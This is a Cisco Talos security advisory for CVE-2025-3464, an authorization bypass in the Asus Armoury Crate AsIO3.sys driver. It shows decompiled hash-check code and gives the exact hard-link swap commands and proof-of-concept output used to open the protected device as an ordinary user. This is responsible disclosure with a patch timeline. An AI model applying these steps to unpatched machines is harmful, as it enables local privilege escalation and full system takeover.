CVE-2025-3464
An authorization bypass vulnerability exists in the AsIO3.sys functionality of Asus Armoury Crate 5.9.13.0. A specially crafted hard link can lead to an authorization bypass. An attacker can create a hard link to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Asus Armoury Crate 5.9.13.0
Armoury Crate - https://rog.asus.com/us/content/armoury-crate/
8.8 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-285 - Improper Authorization
Armoury Crate is a centralized software application developed by ASUS, designed to manage and customize the settings of ASUS hardware components and peripherals. It provides users with a unified interface to control various features, such as RGB lighting, system performance, fan speeds, and device configurations.
AsIO3.sys driver creates a device called Asusgio3. When we use the accesschk tool to check which users have the authority to interact with this driver, even as an Administrator (integrity level High) we get the following response:
accesschk.exe -o \Device\Asusgio3
\Device\Asusgio3
Error getting security:
Access is denied.
No matching objects found.
By reversing the IRP_MJ_CREATE handler of AsIO3.sys we can learn that Asus developers have decided to implement their own mechanism to allow or restrict communication with this driver.
Please keep in mind that further code address are related to the following image base address:
Python>idaapi.get_imagebase()
0x140000000
When we try to obtain a handle to \Device\Asusgio3 there is a check to determine whether the application attempting this action has the proper SHA-256 image hash or if its process ID is on the allowed list.
Function responsible for checking whether an app obtaining a handle has the proper SHA256 hash is one visible below:
Line 1 bool sub_140002EF4() // Is AsusCertService.exe trying to obtain a handle ?
Line 2 {
Line 3 bool result; // bl
Line 4 _UNICODE_STRING *PoolWithTag; // rax
Line 5 _UNICODE_STRING *win32ImagePath; // r15
Line 6 void *fileContent; // rax
Line 7 void *v4; // r12
Line 8 __int64 blockSize; // rdi
Line 9 __int64 _fileSize; // rsi
Line 10 char *ptrFileContent; // r14
Line 11 char NumberOfBytes[20]; // [rsp+34h] [rbp-F4h] BYREF
Line 12 UNICODE_STRING ntImagePath; // [rsp+38h] [rbp-F0h] SPLIT BYREF
Line 13 __int64 fileSize; // [rsp+48h] [rbp-E0h] BYREF
Line 14 __int64 v12; // [rsp+50h] [rbp-D8h]
Line 15 char *v13; // [rsp+58h] [rbp-D0h]
Line 16 __int64 v14; // [rsp+60h] [rbp-C8h]
Line 17 _UNICODE_STRING *v15; // [rsp+68h] [rbp-C0h]
Line 18 int sha_ctx[28]; // [rsp+70h] [rbp-B8h] BYREF
Line 19 char calculatedSHA256[32]; // [rsp+E0h] [rbp-48h] BYREF
Line 20
Line 21
Line 22 if ( pZwQueryInformationProcess(
Line 23 (HANDLE)0xFFFFFFFFFFFFFFFFLL,
Line 24 ProcessImageFileNameWin32,
Line 25 0LL,
Line 26 0,
Line 27 (PULONG)NumberOfBytes) == 0xC0000004 )
Line 28 {
Line 29 win32ImagePath = (_UNICODE_STRING *)ExAllocatePoolWithTag(PagedPool, *(unsigned int *)NumberOfBytes, 'pPR');
Line 30 if ( win32ImagePath )
Line 31 {
Line 32 memset(PoolWithTag, 0, *(unsigned int *)NumberOfBytes);
Line 33 pZwQueryInformationProcess(
Line 34 (HANDLE)-1LL,
Line 35 ProcessImageFileNameWin32,
Line 36 win32ImagePath,
Line 37 *(unsigned int *)NumberOfBytes,
Line 38 0LL);
Line 39
Line 40 if ( (int)Win32PathToNtPath(win32ImagePath, &ntImagePath) >= 0 )
Line 41 {
Line 42 fileContent = GetFileContent(&ntImagePath, &fileSize);
Line 44 if ( fileContent )
Line 45 {
Line 46 blockSize = 64LL;
Line 47 v12 = 64LL;
Line 48 _fileSize = fileSize;
Line 49 v14 = fileSize;
Line 50 ptrFileContent = (char *)fileContent;
Line 51 v13 = (char *)fileContent;
Line 52 Z_SHA256_Init((SHA256_CTX *)sha_ctx);
Line 53 if ( _fileSize < 64 )
Line 54 blockSize = _fileSize;
Line 55 v12 = blockSize;
Line 56 while ( _fileSize > 0 )
Line 57 {
Line 58 if ( _fileSize - blockSize < 0 )
Line 59 blockSize = _fileSize;
Line 60 v12 = blockSize;
Line 61 Util::AES_Block_encrypt(sha_ctx, ptrFileContent, blockSize);
Line 62 ptrFileContent += blockSize;
Line 63 v13 = ptrFileContent;
Line 64 _fileSize -= blockSize;
Line 65 v14 = _fileSize;
Line 66 }
Line 67 SHA_Final(sha_ctx, calculatedSHA256);
Line 68 result = memcmp(calculatedSHA256, &g_sha256Hash, 0x20uLL) == 0;
Line 69 ExFreePoolWithTag(fileContent, 0x705052u);
Line 70 }
Line 71 }
Line 72 RtlFreeUnicodeString(&ntImagePath);
Line 73 ExFreePoolWithTag(win32ImagePath, 0);
Line 74 }
Line 75 }
Line 76 return result;
Line 77 }
When we dump hash from global variable g_sha256Hash visible at line 68 it looks in the following way:
Python>binascii.b2a_hex(idc.get_bytes(0x0000000140009150,32))
b'c5c176fc0cbf4cc4e37c84b6237392b8bea58dbccf5fbbc902819dfc72ca9efa'
Calculating SHA256 hash for AsusCertService.exe we see that it is the same hash:
PS C:\Users\icewall> Get-FileHash -Path "C:\Program Files (x86)\ASUS\AsusCertService\AsusCertService.exe" -Algorithm SHA256
Algorithm Hash Path
--------- ---- ----
SHA256 C5C176FC0CBF4CC4E37C84B6237392B8BEA58DBCCF5FBBC902819DFC72CA9EFA C:\Program Files (x86)\ASUS\AsusCertService\AsusCertService.exe
So, only AsusCertService.exe service and also processes whose PIDs are added by it on allowed list are able to obtain a handle to Asusgio3 device. In in other case we get the status Access is denied.
We can bypass this authorization mechanism using a hard link.
Let us assume the following directory structure:
C:\tmp>dir
Directory of C:\tmp
02/10/2025 02:25 PM <DIR> .
09/25/2024 12:11 PM 503,144 AsusCertService.exe
02/06/2025 02:17 PM 14,848 TestCon2.exe
2 File(s) 517,992 bytes
1 Dir(s) 1,352,796,958,720 bytes free
Where:
TestCon2.exe - is our custom application shared with vendor being a proof-of-concept.
AsusCertService.exe - is original Asus service exectuable file copied from "C:\Program Files (x86)\ASUS\AsusCertService\AsusCertService.exe"
First we make a hard link pointing to our test app:
C:\tmp>mklink /h core.exe TestCon2.exe
Hardlink created for core.exe <<===>> TestCon2.exe
Then we run the symlink (core.exe), and we should see:
Time to swap the files...
Press any key to continue . . .
Our PoC is just waiting for user input.
Before we run our test app further and try to open a handle to \Device\Asusgio3 device we change the hard link destination:
C:\tmp>del core.exe
C:\tmp>mklink /h core.exe AsusCertService.exe
Hardlink created for core.exe <<===>> AsusCertService.exe
We are ready to press any key for TestCon2.exe and run it further. Now when it tries to open a handle to Asusgio3
, ZwQueryInformationProcess
at line 33
will return path to hardlink pointing to asus service.
As a consequence, the GetFileContent
function at line 42
will read the file content of AsusCertService.exe
. In that way we bypass the authorization mechanism and obtain a handle to Asusgio3
device.
Files swaped...result?
Successfully opened handle to device!
last error : 0x0
Returned bytes : 40
Mapped mem : 0x2234c230000
00000000 00 00 00 00 00 00 00 00 c8 27 00 80 ff ff ff ff | .........'...... |
00000010 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | . .............. |
00000020 00 00 23 4c 23 02 00 00 | ..#L#... |
--------------------------------------
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
(...)
Keeping in mind that, due to the authorization bypass, any user can obtain a handle to the device, which exposes numerous functionalities critical from a security perspective. Among the others:
We believe that this vulnerability is critical and provides a potential attacker with numerous easy ways to escalate privileges and take control of the entire system.
2025-02-18 - Vendor Disclosure
2025-06-16 - Vendor Patch Release
2025-06-16 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.